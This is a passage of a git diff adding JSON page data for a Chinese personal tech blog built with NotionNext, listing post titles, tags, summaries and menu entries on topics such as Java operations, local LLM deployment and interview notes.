","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"将进酒","status":"Published","publishDate":1704067200000,"publishDay":"2024-1-1","lastEditedDate":"2024-04-06T03:31:44.998Z","lastEditedDay":"2024-4-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"category":"知行合一"},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/index.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/index.json new file mode 100644 index 000000000..44f109cbf --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/index.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做